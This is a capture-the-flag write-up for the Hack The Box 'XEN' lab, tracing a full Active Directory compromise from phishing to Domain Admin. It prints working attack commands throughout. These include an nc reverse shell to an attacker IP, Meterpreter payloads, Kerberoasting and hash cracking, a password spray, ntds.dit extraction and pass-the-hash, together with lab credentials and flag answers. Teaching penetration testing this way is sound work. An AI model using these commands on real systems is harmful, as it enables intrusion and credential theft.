Contents

Endgame

HTB Endgame: XEN

QA210·2025·Citrix Breakout · Kerberoast · AD Compromise · 6 Flags
Lab
Endgame XEN
Category
AD Penetration Testing
Subnets
2 (10.13.38.0/24, 172.16.249.0/24)
Flags
6
Hosts
6 (DC, Citrix, NetScaler, 3 vDesktops)
Key Techniques
Phishing, Citrix Breakout, Kerberoast, PCAP, Password Spray, SeBackupPrivilege
═══ EXTERNAL (10.13.38.0/24) ═══ ├── 10.13.38.12 CITRIX (SMTP 25 / HTTP 80 / HTTPS 443) ═══ INTERNAL (172.16.249.0/24) ═══ ├── 172.16.249.200 XEN-DC (Domain Controller) ├── 172.16.249.201 CITRIX (XenApp Server) ├── 172.16.249.202 NETSCALER (FreeBSD Gateway) ├── 172.16.249.203 VDESKTOP1 (Citrix VDI) ├── 172.16.249.204 VDESKTOP2 (Citrix VDI) └── 172.16.249.205 VDESKTOP3 (Citrix VDI)
CITRIX SMTP User Enum + Phishing (swaks) pmorgan / Summer1Summer!
Citrix VDI Login + .bat Bypass Breach Flag
AlwaysInstallElevated + UAC Bypass Deploy Flag
Meterpreter + Kerberoast (mturner) Ghost Flag (SMB)
PPK Crack + NetScaler SSH + tcpdump Camouflage Flag (LDAP)
Password Spray (#S3rvice#@cc) backup-svc Doppelganger Flag
SeBackupPrivilege + diskshadow + ntds.dit DC Owned Flag (DA)

Lab Overview

Endgame XEN is a Hack The Box lab that simulates a realistic corporate penetration test against Humongous Retail, a nationwide chain that has invested heavily in their POS systems after several skimming incidents. The environment is built around a Citrix virtual desktop infrastructure (VDI) and a small Active Directory domain, and it tests your skills across the entire kill chain: enumeration, phishing, Citrix breakout, privilege escalation, lateral movement, Kerberoasting, network traffic analysis, password spraying, and ultimately full domain compromise by abusing backup privileges to extract the Active Directory database.

The lab contains six hosts spread across two subnets. The external-facing Citrix server sits at 10.13.38.12 and is the only directly accessible host from the attacker VPN. Once a foothold is established through the Citrix VDI, the internal 172.16.249.0/24 network reveals a Domain Controller, the Citrix application server, a NetScaler gateway running FreeBSD, and three virtual desktops. The attack path requires chaining multiple techniques together and pivoting through the network while managing credentials harvested at each stage.

What makes XEN unique among HTB labs is the emphasis on Citrix virtual desktop environments. Breaking out of the restricted Citrix session is a skill rarely tested in CTF challenges but extremely common in real-world red team engagements. The lab also features an excellent progression from external phishing through internal AD attacks, demonstrating how a single compromised service account password can cascade into complete domain compromise through credential reuse and weak permissions.

Lab Hosts

XEN-DC (Domain Controller), XEN-Citrix (XenApp Server), XEN-NetScaler (FreeBSD Gateway), XEN-vDesktop1/2/3 (Citrix VDI sessions). The external IP is 10.13.38.12. All internal hosts are on 172.16.249.0/24.

Flag 1 — Breach: Citrix Foothold

Reconnaissance with Nmap

The initial scan against the external IP reveals three open TCP ports: SMTP on port 25, HTTP on port 80, and HTTPS on port 443. The SMTP banner identifies the hostname as EXCHANGE.HTB.LOCAL, which immediately tells us we are dealing with an Active Directory environment. The IIS version 7.5 suggests Windows Server 2008 R2 or a similar vintage, and the SSL configuration supports the legacy SSLv2 protocol with weak ciphers, indicating an older infrastructure that may have other misconfigurations:

bash
nmap -sT -p- --min-rate 10000 -oA scans/nmap-alltcp 10.13.38.12

PORT    STATE    SERVICE
25/tcp  open     smtp
80/tcp  open     http
443/tcp open     https

nmap -sV -sC -p 25,80,443 -oA scans/nmap-scripts 10.13.38.12

PORT    STATE SERVICE  VERSION
25/tcp  open  smtp
| smtp-commands: CITRIX, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| fingerprint-strings:
|   Hello: 220 ESMTP MAIL Service ready (EXCHANGE.HTB.LOCAL)
80/tcp  open  http     Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Did not follow redirect to https://humongousretail.com/
443/tcp open  ssl/https?
|_ssl-date: 2019-05-11T12:58:14+00:00; -3m18s from scanner time
| sslv2: SSLv2 supported

The HTTP redirect to https://humongousretail.com/ gives us the domain name for the organization, which will be critical for SMTP user enumeration and phishing. After adding the domain to our hosts file and visiting the HTTPS site, we find a corporate retail website. The most useful piece of information on the page is a contact email address at the bottom: jointheteam@humongousretail.com, which confirms the email domain format.

Directory Brute Force

Running a directory brute force against the HTTPS site with gobuster reveals a critical hidden path. While the standard /images, /css, and /js directories are expected, the /remote endpoint stands out as unusual and potentially interesting:

bash
gobuster dir -k -u https://humongousretail.com \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
  -t 30 -o scans/gobuster-results

/images  (Status: 301)
/css     (Status: 301)
/js      (Status: 301)
/remote  (Status: 301)

Navigating to /remote presents a Citrix login page. This is a Citrix XenApp virtual desktop interface that allows authenticated users to access a remote Windows desktop session. Attempting basic credentials fails, but we now know the attack surface: we need valid domain credentials to access the Citrix environment.

SMTP User Enumeration

With the SMTP service on port 25 and a known email domain, we can enumerate valid email addresses using smtp-user-enum. This tool leverages the SMTP VRFY, RCPT TO, and EXPN commands to identify which email addresses exist on the mail server. Running it against a large username wordlist with the humongousretail.com domain and the RCPT TO method yields four valid accounts:

bash
smtp-user-enum -U /usr/share/seclists/Usernames/Honeypot-Captures/multiplesources-users-fabian-fingerle.de.txt \
  -D humongousretail.com -t 10.13.38.12 -m 50 -M RCPT

######## Scan started #########
10.13.38.12: it@humongousretail.com exists
10.13.38.12: legal@humongousretail.com exists
10.13.38.12: marketing@humongousretail.com exists
10.13.38.12: sales@humongousretail.com exists
######## Scan completed #########

We now have five email addresses including the original contact address: it@, legal@, marketing@, sales@, and jointheteam@. These represent department-level distribution groups or shared mailboxes, with the IT and Sales departments being the most promising targets for a phishing campaign.

Phishing for Citrix Credentials

The goal is to obtain valid credentials for the Citrix login at /remote. After experimentation, a successful phishing email requires several specific criteria: the message must be sent to sales@humongousretail.com, from it@humongousretail.com, with the word "citrix" and a URL in the body. This combination triggers an automated process that attempts to log in to the Citrix portal using real credentials, and the login attempt is sent back to the URL in the email body.

bash
# Send phishing email with swaks
swaks --to sales@humongousretail.com \
  --from it@humongousretail.com \
  --header "Subject: Credentials / Errors" \
  --body "citrix http://10.14.15.41/" \
  --server humongousretail.com

# Listen with netcat to capture the POST request
nc -lnvp 80

Ncat: Connection from 10.13.38.12:50123.
POST /remote/auth/login.aspx?LoginType=Explicit&user=awardel&password=%40M3m3ntoM0ri%40&domain=HTB.LOCAL HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...
Host: 10.14.15.41

LoginType=Explicit&user=awardel&password=%40M3m3ntoM0ri%40&domain=HTB.LOCAL

After sending the phishing email, the automated victim almost immediately posts credentials back to our listener. By sending multiple emails and capturing each response, we collect three sets of valid domain credentials. Each login attempt includes the username, password, and domain (HTB.LOCAL), giving us everything needed to access the Citrix environment:

text
# Harvested credentials from phishing:
jmendes  / VivaBARC3L0N@!!!
awardel  / @M3m3ntoM0ri@
pmorgan  / Summer1Summer!
Phishing Mechanism

The lab uses automation to simulate a user clicking the phishing link and submitting their Citrix credentials. The three different credential sets exist because only one user can be logged into the Citrix desktop at a time, and providing multiple accounts reduces the chance of players bumping each other off the session during the lab.

Citrix Desktop Access

With valid credentials in hand, we log in to the Citrix portal at /remote. The Citrix Receiver must be installed on the attacker machine to handle the .ica session files that the portal downloads. On Linux, the 64-bit Citrix Receiver package can be obtained from Citrix directly and installed to /opt/Citrix/ICAClient/. After logging in with any of the three credential sets, the portal presents a single desktop icon. Clicking it downloads an .ica file that opens a full Windows desktop session.

On the desktop, a file named flag.txt is immediately visible, containing the first flag:

Flag 1 — Breach
XEN{wh0_n33d5_2f@?}
Foothold Achieved

We have access to a Citrix virtual desktop session as a domain user. The flag name "wh0_n33d5_2f@?" humorously references the fact that we obtained access through phishing rather than traditional two-factor authentication bypass. Now we need to break out of the restricted Citrix environment.

Flag 2 — Deploy: Breakout & Privilege Escalation

Citrix Restricted Environment Bypass

The Citrix desktop is heavily restricted. There is no access to cmd.exe or powershell.exe from the Start Menu, and navigating to C:\Windows\System32 in Explorer results in an access denied error. Even attempting to access an SMB share hosted on the attacker machine is blocked by Explorer. However, Citrix restrictions typically have gaps, and the classic bypass technique involves abusing notepad.exe to launch a command prompt.

The bypass works by right-clicking in the user's Documents folder to create a new text file, then opening it with Notepad. Inside Notepad, we type cmd.exe and save the file as cmd.bat (making sure to change the "Save as type" dropdown to "All files" so Windows does not append .txt). Double-clicking the batch file launches cmd.exe, because the Citrix restriction policy blocks the executable binary but not batch file invocations of it:

cmd
# Create cmd.bat with content: cmd.exe
# Double-click to launch command prompt

C:\Users\pmorgan\Documents>

With a command prompt available, we can establish a more stable reverse shell. Uploading nc64.exe to an SMB share on the attacker machine and executing it provides a reliable netcat shell:

cmd
# On the Citrix desktop, run netcat from attacker SMB share
\\10.14.15.41\share\nc64.exe 10.14.15.41 443 -e cmd.exe

# On attacker machine
rlwrap nc -lnvp 443

Ncat: Connection from 10.13.38.15:50549.
Microsoft Windows [Version 6.1.7601]
C:\Users\pmorgan\Documents>

AlwaysInstallElevated Exploitation

Running PowerUp.ps1 to check for common privilege escalation vectors reveals that the AlwaysInstallElevated registry key is enabled under both HKCU and HKLM. This misconfiguration means that any MSI (Microsoft Installer) package will run with elevated (SYSTEM) privileges, regardless of who executes it. This is a well-known privilege escalation vector in Windows environments where administrators have enabled this setting for convenience:

cmd
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1

To exploit this, we use PowerUp's Write-UserAddMSI function, which generates a malicious MSI package that creates a new local administrator account when executed. The MSI runs with SYSTEM privileges thanks to AlwaysInstallElevated, so the user it creates is automatically added to the local Administrators group. After running the MSI and providing a password that meets the domain's complexity requirements, the new admin user is created:

powershell
# Import PowerUp and generate malicious MSI
Import-Module PowerUp.ps1
Write-UserAddMSI

# Execute the MSI (runs as SYSTEM via AlwaysInstallElevated)
# Create user: qa210 / P@ssw0rd2024!

# Verify new admin user
net user qa210
# The command completed successfully.

# Get a shell as the new admin
runas /user:qa210 cmd.exe

UAC Bypass

Even though our new user is a local administrator, UAC (User Account Control) still restricts the session to medium integrity by default. Accessing the Administrator's desktop folder is denied because the shell is running as a low-privilege token. To bypass UAC, we use a well-known DLL reflection technique that exploits the way Windows handles certain auto-elevating COM objects. The technique compiles a C# DLL that is loaded via reflection in PowerShell, and calling its Execute() method spawns a new cmd.exe that inherits the full administrator token:

powershell
# Load UAC bypass DLL via reflection
[System.Reflection.Assembly]::LoadFile("C:\programdata\uac_bypass.dll")

# Execute the bypass to spawn elevated cmd.exe
[UACBypass]::Execute()

# The new cmd.exe now runs at high integrity
C:\Windows\system32> whoami /priv
PRIVILEGES INFORMATION
----------------------
SeDebugPrivilege              Enabled
SeTakeOwnershipPrivilege      Enabled
SeLoadDriverPrivilege         Enabled
...

With the UAC bypassed and a high-integrity shell in hand, we can now access the Administrator's desktop and retrieve the second flag:

cmd
C:\Users\Administrator\Desktop> type flag.txt
XEN{7ru573d_1n574ll3r5}
Flag 2 — Deploy
XEN{7ru573d_1n574ll3r5}

The flag name "7ru573d_1n574ll3r5" (trusted installers) is a direct reference to the AlwaysInstallElevated misconfiguration that allowed us to escalate privileges by trusting all MSI installers to run with elevated permissions.

Flag 3 — Ghost: Kerberoasting & SMB Pivot

Establishing a Meterpreter Session

To facilitate pivoting and tunnel management through the internal network, we switch from the basic netcat shell to a Meterpreter session. While tools like Chisel can accomplish the same tunneling goals, Metasploit's autoroute and SOCKS proxy modules provide a faster and more streamlined experience, especially when competing with other players for Citrix desktop time. We generate a reverse TCP Meterpreter payload and execute it on the Citrix desktop:

bash
# Generate Meterpreter payload
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.14.15.41 LPORT=443 -f exe -o shell_443.exe

# Start handler in MSF
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.14.15.41
msf5 exploit(multi/handler) > run

[*] Sending stage (201283 bytes) to 10.13.38.15
[*] Meterpreter session 1 opened (10.14.15.41:443 -> 10.13.38.15:50715)

# Escalate to SYSTEM via AlwaysInstallElevated
msf5 exploit(windows/local/always_install_elevated) > set SESSION 1
msf5 exploit(windows/local/always_install_elevated) > run

[*] Uploading the MSI...
[*] Sending stage (176195 bytes) to 10.13.38.15
[*] Meterpreter session 2 opened (10.14.15.41:443 -> 10.13.38.15:50717)

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Kerberoasting the Domain

With SYSTEM access on a domain-joined machine, we can now attack the Active Directory domain. First, we need the Domain Controller's IP address. A simple ping dc resolves the hostname and reveals the DC is at 172.16.249.200. Next, we establish routing through the Meterpreter session using Metasploit's autoroute module, which tells the framework to route traffic destined for the internal subnet through our compromised session. Then we start a SOCKS4a proxy to allow external tools to reach the internal network:

bash
# Add route through Meterpreter session
msf5 post(multi/manage/autoroute) > set SESSION 2
msf5 post(multi/manage/autoroute) > run

[+] Route added to subnet 10.13.38.0/255.255.255.0
[+] Route added to subnet 172.16.249.0/255.255.255.0

# Start SOCKS4a proxy
msf5 auxiliary(server/socks4a) > set SRVPORT 1080
msf5 auxiliary(server/socks4a) > run
[*] Starting the socks4a proxy server

With the proxy running, we can use proxychains to tunnel impacket tools directly to the Domain Controller. The Kerberoasting attack requests a Service Principal Name (SPN) ticket for any account with an SPN registered, and the resulting TGS ticket is encrypted with the service account's NTLM hash. By requesting the ticket and cracking it offline, we recover the service account's password without ever touching the DC directly:

bash
# Kerberoast through proxy
proxychains GetUserSPNs.py -request -dc-ip 172.16.249.200 \
  HTB.LOCAL/pmorgan:Summer1Summer! -save -outputfile GetUserSPNs.out

ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.9.19-dev

ServicePrincipalName                   Name     MemberOf
--------------------------------------  -------  ---------------------------------------
MSSQLSvc/CITRIXTEST.HTB.LOCAL:1433    mturner  CN=Deployment,OU=Groups,DC=htb,DC=local

The Kerberoast returns a hash for the mturner account, which has an SPN registered for a MSSQL service on CITRIXTEST. This is a service account with a potentially weak password, making it an excellent target for offline cracking.

Cracking the Kerberoast Hash

Standard dictionary attacks with rockyou.txt fail to crack the hash, which suggests the password is not a common word or phrase. However, applying Hashcat's dive.rule mutation rules to rockyou.txt dramatically expands the keyspace by applying transformations like capitalization, leet-speak substitutions, and appending numbers and symbols. After approximately 7 hours of cracking, the password is recovered:

bash
# Crack with hashcat using rockyou + dive rules
hashcat -a 0 -m 13100 GetUserSPNs.out \
  /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/dive.rule --force

$krb5tgs$23$*mturner$HTB.LOCAL$MSSQLSvc/...:4install!

Session..........: hashcat
Status...........: Cracked
Guess.Mod........: Rules (/usr/share/hashcat/rules/dive.rule)
New Credentials

mturner / 4install! — This service account has an SPN for MSSQL on CITRIXTEST and is a member of the Deployment group. These credentials will be essential for accessing additional resources on the network.

SMB Access on CITRIX Server

Using PowerView's Get-DomainComputer from the Meterpreter session, we enumerate the machines in the domain and build a map of the internal network. The active hosts include DC, CITRIX, NETSCALER, and the three VDESKTOP machines, all on 172.16.249.0/24. With the mturner credentials, we test SMB access against the CITRIX server at 172.16.249.201:

bash
# Verify SMB access with mturner creds
proxychains crackmapexec smb 172.16.249.201 -u mturner -p '4install!'

SMB 172.16.249.201 445 CITRIX [+] htb.local\mturner:4install!

# List shares on CITRIX
net view /all \\citrix

Share name   Type     Used as   Comment
-----------------------------------------------------------
ADMIN$       Disk     Remote Admin
C$           Disk     Default share
Citrix$      Disk
IPC$         IPC      Remote IPC
ISOs         Disk
ISOs-TEST    Disk

The Citrix$ share is particularly interesting — it is a hidden share (indicated by the $ suffix) that is not visible during normal browsing. Accessing it reveals several files including a flag, a PuTTY private key file (private.ppk), and PDF documentation about XenServer:

cmd
net use \\citrix\citrix$ /u:mturner 4install!
dir \\citrix\citrix$

02/12/2019  07:21 PM    997,001  Deploying-XenServer-5.6.pdf
03/31/2019  11:25 AM        20  flag.txt
05/08/2019  06:21 PM     1,486  private.ppk
02/12/2019  07:21 PM 1,747,587  XenServer-5-6-SHG.pdf

type \\citrix\citrix$\flag.txt
XEN{l364cy_5pn5_ftw}
Flag 3 — Ghost
XEN{l364cy_5pn5_ftw}

The flag name "l364cy_5pn5_ftw" (legacy SPNs for the win) celebrates the fact that the legacy Service Principal Name on the mturner account made it vulnerable to Kerberoasting. The private.ppk file and XenServer documentation PDFs hint that the next target is the NetScaler device, which acts as the network gateway.

Flag 4 — Camouflage: NetScaler & PCAP Analysis

Cracking the PPK Key Passphrase

The private.ppk file found on the Citrix$ share is a PuTTY-format SSH private key, but it is encrypted with a passphrase. Converting it to an OpenSSH-format key with puttygen requires the correct passphrase. We extract the hash in a format suitable for John the Ripper using putty2john, and then attempt to crack it. Standard wordlists like rockyou.txt fail even with mutation rules, which suggests the passphrase is not a dictionary word but rather a keyboard-walk pattern:

bash
# Convert PPK hash for John
putty2john private.ppk > private.ppk.john

# Standard wordlists fail
john private.ppk.john --wordlist=/usr/share/wordlists/rockyou.txt
# No hits

# Use kwprocessor to generate keyboard-walk wordlist
cd /opt/kwprocessor
./kwp basechars/full.base keymaps/en-us.keymap \
  routes/2-to-16-max-3-direction-changes.route \
  > ~/keyboard_walks.txt

wc -l ~/keyboard_walks.txt
65758 keyboard_walks.txt

# Crack with keyboard-walk wordlist
john private.ppk.john --wordlist=~/keyboard_walks.txt

=-09876567890-=-  (private)
1g 0:00:00:00 DONE

Session completed

The kwprocessor tool from the Hashcat team generates wordlists of keyboard-walk patterns — passwords created by tracing paths across a keyboard layout. The passphrase =-09876567890-= is a perfect example: it traces a horizontal arc across the top number row of the keyboard, a pattern that is common in corporate environments but rarely appears in standard wordlists. This is why mutation rules on dictionary files failed while keyboard-walk generation succeeded.

With the passphrase recovered, we can convert the PPK key to an OpenSSH format and use it for SSH access:

bash
# Convert PPK to OpenSSH key (save without passphrase)
puttygen private.ppk -O private-openssh -o xen_key.pem -P
Enter passphrase to load key: =-09876567890-=
Enter passphrase to save key: [blank]
chmod 600 xen_key.pem

SSH Access to NetScaler

Using the converted SSH key, we attempt to connect to the NetScaler device at 172.16.249.202. Regular domain users like mturner connect but land in a restricted Citrix CLI shell without access to the shell command. However, the default NetScaler administrative user nsroot has full privileges, including access to the underlying FreeBSD shell:

bash
# SSH as nsroot with the cracked key
proxychains ssh -i xen_key.pem nsroot@172.16.249.202

##############################################################################
# WARNING: Access to this system is for authorized users only
##############################################################################

Last login: Wed May 8 23:23:15 2019 from 172.16.249.201
Done

# Escaping the Citrix CLI to FreeBSD shell
> shell

Copyright (c) 1992-2013 The FreeBSD Project.
root@netscaler#

We now have root access on the NetScaler device, which runs FreeBSD. The NetScaler is positioned as a network gateway between the external and internal networks, meaning all traffic flowing between segments passes through this device. This makes it an ideal position for network traffic capture.

Network Traffic Capture

Since the NetScaler sits at a critical network intersection, capturing traffic on its interfaces can reveal credentials and other sensitive data passing between internal hosts. We use tcpdump to capture full packets on interface 1, excluding SSH traffic to reduce noise, and write the output to a PCAP file. After letting the capture run for a short period to accumulate traffic, we transfer the file back to our attack machine for analysis:

bash
# Start packet capture on NetScaler (background)
tcpdump -i 1 -w .capture.pcap -s 0 'not tcp port 22' &

# Wait for traffic to accumulate...
ls -l .capture.pcap
-rw-r--r--  1 root  wheel  262144 May 17 06:04 .capture.pcap

# Stop the capture
kill %1

# Transfer PCAP to attacker machine via SCP
proxychains scp -i xen_key.pem \
  nsroot@172.16.249.202:/root/.capture.pcap ./xen_capture.pcap

.d.pcap  100%  318KB  182.6KB/s  00:01

PCAP Analysis with Wireshark

Opening the PCAP file in Wireshark reveals traffic on several interesting ports. The most significant finding is LDAP traffic (port 389) between the NetScaler and the Domain Controller, and HTTP traffic (port 80) between the NetScaler and the Citrix server. Both protocols transmit data in plaintext, making them rich sources of credential leakage:

HTTP Traffic — The HTTP stream contains a POST request that includes a flag directly in the request body. This flag was likely embedded in a web application form submission that was captured in transit:

Flag 4 — Camouflage
XEN{bu7_ld4p5_15_4_h455l3}

LDAP Traffic — The LDAP streams are even more valuable. Each LDAP bind request transmits credentials in plaintext, and we can extract the username and password for the netscaler-svc service account. This account is used by the NetScaler to authenticate against the domain for LDAP-based authentication queries, and its credentials are netscaler-svc / #S3rvice#@cc.

Critical Credential Leak

The LDAP bind DN and password are transmitted in cleartext between the NetScaler and the Domain Controller. This is a common misconfiguration in environments where LDAP signing is not enforced. The netscaler-svc credentials will be the key to the next phase of the attack.

Flag 5 — Doppelganger: Password Spraying

BloodHound Analysis

At this stage, we pivot back to enumeration. Using SharpHound, we had previously collected BloodHound data from the domain. Re-examining it with the new netscaler-svc credentials in context reveals several service accounts in the domain: app-svc, backup-svc, test-svc, netscaler-svc, mssql-svc, xenserver-svc, and print-svc. The flag name "Doppelganger" hints at credential duplication — the same password being reused across multiple service accounts.

Password Spray Attack

Given the flag's hint about shared passwords, we perform a password spray using the netscaler-svc password #S3rvice#@cc against all service accounts. CrackMapExec makes this straightforward by testing a single password against a list of usernames:

bash
# Password spray with CrackMapExec
proxychains crackmapexec smb 172.16.249.201 \
  -u svc_accounts.txt -p '#S3rvice#@cc' --continue-on-success

SMB 172.16.249.201 445 CITRIX [-] htb.local\app-svc:#S3rvice#@cc STATUS_LOGON_FAILURE
SMB 172.16.249.201 445 CITRIX [+] htb.local\backup-svc:#S3rvice#@cc
SMB 172.16.249.201 445 CITRIX [+] htb.local\netscaler-svc:#S3rvice#@cc
SMB 172.16.249.201 445 CITRIX [+] htb.local\mssql-svc:#S3rvice#@cc
SMB 172.16.249.201 445 CITRIX [+] htb.local\xenserver-svc:#S3rvice#@cc
SMB 172.16.249.201 445 CITRIX [+] htb.local\print-svc:#S3rvice#@cc

The spray reveals that five out of seven service accounts share the same weak password #S3rvice#@cc. This is a textbook example of credential reuse in enterprise environments, where administrators set the same complex-looking password across multiple service accounts for convenience. The most interesting successful account is backup-svc, because BloodHound shows it has Remote Desktop and WinRM access to the Domain Controller.

RDP / WinRM Access to the Domain Controller

Using the backup-svc credentials, we connect to the Domain Controller at 172.16.249.200 via RDP. The xfreerdp tool works through the proxy chain, providing a full graphical desktop session on the DC. Alternatively, Evil-WinRM provides a PowerShell shell over WinRM (port 5985), which is often faster and more reliable than RDP for command-line operations:

bash
# RDP to Domain Controller
proxychains xfreerdp /u:backup-svc /p:'#S3rvice#@cc' /v:172.16.249.200

# Or use Evil-WinRM for PowerShell access
proxychains evil-winrm -u backup-svc -p '#S3rvice#@cc' -i 172.16.249.200

*Evil-WinRM* PS C:\Users\backup-svc\Documents> cd ..\desktop
*Evil-WinRM* PS C:\Users\backup-svc\desktop> cat flag.txt
XEN{y_5h4r3d_p@55w0Rd5?}
Flag 5 — Doppelganger
XEN{y_5h4r3d_p@55w0Rd5?}

The flag name "y_5h4r3d_p@55w0Rd5?" (why shared passwords?) is a pointed commentary on the dangerous practice of credential reuse across service accounts. A single compromised password gave us access to five different accounts, including the one with direct access to the Domain Controller.

Flag 6 — Owned: Domain Admin Compromise

SeBackupPrivilege Exploitation

The backup-svc account is a member of the Backup Operators group, which grants two powerful privileges: SeBackupPrivilege (back up files and directories) and SeRestorePrivilege (restore files and directories). These privileges effectively bypass NTFS access control lists, allowing the account to read any file on the system regardless of permissions. The primary target is ntds.dit, the Active Directory database file that stores password hashes for all domain users:

powershell
# Check group membership and privileges
net user backup-svc

Local Group Memberships:
  *Backup Operators    *Remote Desktop Users
  *Remote Management Users

whoami /priv

PRIVILEGES INFORMATION
----------------------
SeBackupPrivilege          Back up files and directories   Enabled
SeRestorePrivilege         Restore files and directories   Enabled
SeShutdownPrivilege        Shut down the system            Enabled
SeChangeNotifyPrivilege    Bypass traverse checking        Enabled

Disk Shadow Copy with Diskshadow

The challenge with extracting ntds.dit is that the file is locked by the NTDS service while the Domain Controller is running, and it cannot be copied directly even with SeBackupPrivilege. The solution is to use Microsoft's diskshadow utility to create a Volume Shadow Copy (VSS snapshot) of the hard drive. The shadow copy is a point-in-time read-only snapshot that exists outside the NTDS file lock, allowing us to access the database file from the snapshot instead of the live volume:

cmd
# Create a diskshadow script file
echo set context persistent nowriters > c:\programdata\ds.dsh
echo add volume c: alias xen >> c:\programdata\ds.dsh
echo create >> c:\programdata\ds.dsh
echo expose %xen% u: >> c:\programdata\ds.dsh

# Execute the diskshadow script
diskshadow /s c:\programdata\ds.dsh

# The shadow copy is now mounted as U: drive
# ntds.dit can be accessed from U:\Windows\NTDS\ntds.dit

Copying ntds.dit with SeBackupPrivilege

Even from the shadow copy, standard copy commands may fail due to permission restrictions. We use a custom PowerShell DLL (Copy-FileSeBackupPrivilege) that leverages the SeBackupPrivilege to bypass ACL checks and copy the file. This tool was uploaded to the DC via WinRM and imported into the PowerShell session. The SYSTEM registry hive is also needed to decrypt the hashes from ntds.dit, so we save that as well:

powershell
# Import SeBackupPrivilege DLL
Import-Module .\SeBackupPrivilegeCmdlets.dll

# Copy ntds.dit from shadow copy to a network share on 172.16.249.203
Copy-FileSeBackupPrivilege u:\Windows\ntds\ntds.dit \\172.16.249.203\df\ntds.dit

# Also save the SYSTEM registry hive
reg save hklm\system \\172.16.249.203\df\system

# Cleanup: unmount the shadow copy
diskshadow
DISKSHADOW> delete shadows exposed u:
DISKSHADOW> exit

To transfer the files from the internal network back to our attack machine, we set up a temporary SMB share on one of the Citrix virtual desktops (172.16.249.203) using mturner's credentials, then accessed that share through the proxy chain. The ntds.dit file and SYSTEM hive are both exfiltrated for offline analysis.

Dumping Domain Hashes

With both the ntds.dit database and the SYSTEM registry hive, we can extract all domain password hashes using Impacket's secretsdump.py. The tool first uses the SYSTEM hive to derive the encryption keys, then decrypts the password hashes stored in ntds.dit. The output includes the Administrator hash, which is the ultimate prize:

bash
# Extract all domain hashes
secretsdump.py -system system -ntds ntds.dit LOCAL

[*] Target system bootKey: 0x6e398137ec7f2e204671dad7c778509f
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] PEK # 0 found and decrypted: 4a62a0ac1475b54add921ac8c1b72e31
[*] Reading and decrypting hashes from ntds.dit

Administrator:500:aad3b435b51404eeaad3b435b51404ee:822601ccd7155f47cd955b94af1558be:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:5e507509602e1b651759527b87b6c347:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3791ca8d70c9e1d2d2c7c5b5c7c253e8:::
CITRIX$:1103:aad3b435b51404eeaad3b435b51404ee:fd981d0c915932bb3ddf38b415c49121:::
htb.local\alarsson:1104:aad3b435b51404eeaad3b435b51404ee:92a44f1aa6259c55f9f514fabae5cc3f:::
htb.local\jmendes:1106:aad3b435b51404eeaad3b435b51404ee:10d0c05f7d958955f0eaf1479b5124a0:::
htb.local\pmorgan:1107:aad3b435b51404eeaad3b435b51404ee:8618ba932416a7404a854b250bf28577:::
htb.local\awardel:1108:aad3b435b51404eeaad3b435b51404ee:270e4d446437f4383b092b42a9f88f0a:::

Domain Admin Access

With the Administrator NTLM hash in hand, we can authenticate as the Domain Administrator using Pass-the-Hash. Impacket's wmiexec.py provides a semi-interactive shell on the DC without needing the plaintext password. The hash aad3b435b51404eeaad3b435b51404ee:822601ccd7155f47cd955b94af1558be is used directly for authentication:

bash
# Pass-the-Hash to Domain Controller
proxychains wmiexec.py \
  -hashes aad3b435b51404eeaad3b435b51404ee:822601ccd7155f47cd955b94af1558be \
  administrator@172.16.249.200

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell
C:\> whoami
htb\administrator

C:\> cd users\administrator\desktop
C:\users\administrator\desktop> type flag.txt
XEN{d3r1v471v3_d0m41n_4dm1n}
Flag 6 — Owned
XEN{d3r1v471v3_d0m41n_4dm1n}

The final flag "d3r1v471v3_d0m41n_4dm1n" (derivative domain admin) marks the complete compromise of the Humongous Retail Active Directory domain. We have achieved Domain Administrator access by chaining a series of vulnerabilities and misconfigurations: weak SMTP enumeration, lack of phishing awareness, Citrix environment restrictions with bypass gaps, the AlwaysInstallElevated misconfiguration, a Kerberoastable service account, plaintext LDAP credentials in network traffic, shared service account passwords, and excessive backup privileges on the DC.

Domain Compromised

The entire XEN lab has been completed. From an external phishing email to Domain Administrator in six methodical steps, the attack path demonstrates how a single entry point can cascade through multiple layers of weak security controls into complete organizational compromise.

Attack Path Summary

[1] Nmap + SMTP Enum + Phishing pmorgan / Summer1Summer!
[2] Citrix Login + .bat Bypass + AlwaysInstallElevated + UAC Bypass
[3] Meterpreter + Autoroute + Kerberoast (mturner / 4install!)
[4] PPK Crack (kwprocessor) + NetScaler SSH + tcpdump + LDAP Creds
[5] Password Spray (#S3rvice#@cc) + backup-svc RDP to DC
[6] SeBackupPrivilege + diskshadow + ntds.dit + secretsdump + DA
FlagPhaseTechniqueValue
BreachCitrix FootholdPhishing via SMTP + Citrix VDIXEN{wh0_n33d5_2f@?}
DeployPrivilege EscalationAlwaysInstallElevated + UAC BypassXEN{7ru573d_1n574ll3r5}
GhostKerberoast + SMBSPN attack + mturner hash crackXEN{l364cy_5pn5_ftw}
CamouflageNetCapture + LDAPPPK crack + PCAP + plaintext LDAPXEN{bu7_ld4p5_15_4_h455l3}
